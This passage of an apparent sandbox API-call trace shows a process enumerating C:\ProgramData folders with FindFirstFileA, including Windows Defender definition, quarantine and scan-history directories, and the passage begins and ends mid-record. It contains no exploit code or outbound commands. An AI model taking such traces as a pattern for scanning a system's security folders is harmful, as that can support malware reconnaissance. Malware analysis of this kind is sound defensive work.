ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc11c60a0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f370, dwReserved1=0x4f70c4, cFileName=".", cAlternateFileName="")) returned 0x502698 [0078.515] FindFirstFileA (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\SharePoint\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x78038410, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x78038410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78038410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f4c0, dwReserved1=0x4f609a, cFileName=".", cAlternateFileName="")) returned 0x502658 [0078.518] FindFirstFileA (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2832bdaf, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288ad099, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f4c0, dwReserved1=0x4f609a, cFileName=".", cAlternateFileName="")) returned 0x502658 [0078.521] FindFirstFileA (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Tablet PC\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0x9182055d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x9182055d, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9182055d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502658 [0078.523] FindFirstFileA (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Templates\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9dbcac, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xaeea3462, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0078.524] FindFirstFileA (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\WER\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfda01e06, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfda01e06, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0078.524] FindFirstFileA (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\WER\\ReportArchive\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfda01e06, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0x9a0a5fd1, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5004f0, dwReserved1=0x5004eb, cFileName=".", cAlternateFileName="")) returned 0x502618 [0078.524] FindFirstFileA (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\WER\\ReportQueue\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x810, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2fb59300, ftLastAccessTime.dwHighDateTime=0x1d42023, ftLastWriteTime.dwLowDateTime=0x2fb59300, ftLastWriteTime.dwHighDateTime=0x1d42023, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0078.525] FindFirstFileA (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x591e8ca0, ftLastAccessTime.dwHighDateTime=0x1d4d596, ftLastWriteTime.dwLowDateTime=0x591e8ca0, ftLastWriteTime.dwHighDateTime=0x1d4d596, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x450057, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x502518 [0078.527] FindFirstFileA (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1fb3099, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x1fb3099, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4ff4e8, dwReserved1=0x4ff4e3, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0078.527] FindFirstFileA (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates\\Backup\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5004f0, dwReserved1=0x5004eb, cFileName=".", cAlternateFileName="")) returned 0x502618 [0078.528] FindFirstFileA (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates\\Updates\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0078.531] FindFirstFileA (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates\\{D2B0B133-42ED-44D3-809A-46EBB62BA863}\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1fb3099, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0x1fff35a, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x1fff35a, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0078.534] FindFirstFileA (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\LocalCopy\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0078.534] FindFirstFileA (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Quarantine\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0078.535] FindFirstFileA (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7690f9e4, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x7690f9e4, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0078.535] FindFirstFileA (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7690f9e4, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x244fb42, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x244fb42, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5004f0, dwReserved1=0x5004eb, cFileName=".", cAlternateFileName="")) returned 0x502618 [0078.536] FindFirstFileA (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\CacheManager\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x76b24d28, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0xcfc0a7e0, ftLastAccessTime.dwHighDateTime=0x1d2faf9, ftLastWriteTime.dwLowDateTime=0xcfc0a7e0, ftLastWriteTime.dwHighDateTime=0x1d2faf9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5014f8, dwReserved1=0x5014f3, cFileName=".", cAlternateFileName="")) returned 0x502658 [0078.537] FindFirstFileA (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Results\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x244fb42, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0xa13d69d0, ftLastAccessTime.dwHighDateTime=0x1d2dda3, ftLastWriteTime.dwLowDateTime=0xa13d69d0, ftLastWriteTime.dwHighDateTime=0x1d2dda3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502658 [0078.537] FindFirstFileA (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Results\\Resource\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa13d69d0, ftCreationTime.dwHighDateTime=0x1d2dda3, ftLastAccessTime.dwLowDateTime=0x80be8ad0, ftLastAccessTime.dwHighDateTime=0x1d33740, ftLastWriteTime.dwLowDateTime=0x80be8ad0, ftLastWriteTime.dwHighDateTime=0x1d33740, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f6000, dwReserved1=0x4f5ffb, cFileName=".", cAlternateFileName="")) returned 0x502698 [0078.538] FindFirstFileA (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Service\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x769ce0c6, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0xb9820270, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xb9820270, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x502658 [0078.540] FindFirstFileA (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Store\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x244fb42, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0x244fb42, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x244fb42, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x74002e, dwReserved1=0x740078, cFileName=".", cAlternateFileName="")) returned 0x502658 [0078.541] FindFirstFileA (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Support\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x76792c22, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x76792c22, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x690048, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0078.542] FindFirstFileA (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows NT\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x502518 [0078.542] FindFirstFileA (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1d91b669, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d91b669, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4ff4e8, dwReserved1=0x4ff4e3, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0078.545] FindFirstFileA (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\ActivityLog\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5004f0, dwReserved1=0x5004eb, cFileName=".", cAlternateFileName="")) returned 0x502618 [0078.545] FindFirstFileA (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1d91b669, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d91b669, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0078.545] FindFirstFileA (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1d91b669, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x21cf2d38, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d91b669, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5014f8, dwReserved1=0x5014f3, cFileName=".", cAlternateFileName="")) returned 0x502658 [0078.547] FindFirstFileA (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Inbox\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x502618 [0078.548] FindFirstFileA (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Queue\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0078.548] FindFirstFileA (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\SentItems\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0078.548] FindFirstFileA (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\VirtualInbox\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1d91b669, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1d91b669, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d91b669, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0078.549] FindFirstFileA (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\VirtualInbox\\en-US\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1d91b669, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x21cf2d38, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d91b669, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5014f8, dwReserved1=0x5014f3, cFileName=".", cAlternateFileName="")) returned 0x502658 [0078.551] FindFirstFileA (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows NT\\MSScan\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80340916, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80340916, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x690056, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0078.552] FindFirstFileA (in: lpFileName="C:\\ProgramData\\Microsoft\\WwanSvc\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f496a, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x502518 [0078.552] FindFirstFileA (in: lpFileName="C:\\ProgramData\\Microsoft\\WwanSvc\\Profiles\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4ff4e8, dwReserved1=0x4ff4e3, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0078.553] FindFirstFileA (in: lpFileName="C:\\ProgramData\\Microsoft Help\\*.*", lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe79db030, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0xed25d0a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xed25d0a0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x770057, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x502598 [0078.565] FindFirstFileA (in: lpFileName="C:\\ProgramData\\Mozilla\\*.*", lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xaf8556a0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf8556a0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xaf8556a0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0078.565] FindFirstFileA (in: lpFileName="C:\\ProgramData\\Mozilla\\logs\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xaf8556a0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf8556a0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xaf8556a0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4fa4e0, dwReserved1=0x4fa4db, cFileName=".", cAlternateFileName="")) returned 0x502598 [0078.567] FindFirstFileA (in: lpFileName="C:\\ProgramData\\Oracle\\*.*", lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7e3c6d00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7e3c6d00, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7eea3160, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x502598 [0078.568] FindFirstFileA (in: lpFileName="C:\\ProgramData\\Package Cache\\*.*", lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xecce51e0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0x4819be0, ftLastAccessTime.dwHighDateTime=0x1d2fc28, ftLastWriteTime.dwLowDateTime=0x4819be0, ftLastWriteTime.dwHighDateTime=0x1d2fc28, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0078.571] FindFirstFileA (in: lpFileName="C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2924cac0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x29272c20, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x29272c20, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4fa4e0, dwReserved1=0x4fa4db, cFileName=".", cAlternateFileName="")) returned 0x502518 [0078.572] FindFirstFileA (in: lpFileName="C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x29272c20, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x29272c20, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x29272c20, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4ff4e8, dwReserved1=0x4ff4e3, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0078.572] FindFirstFileA (in: lpFileName="C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\*.*", lpFindFileData=0x18f7a8 | out: 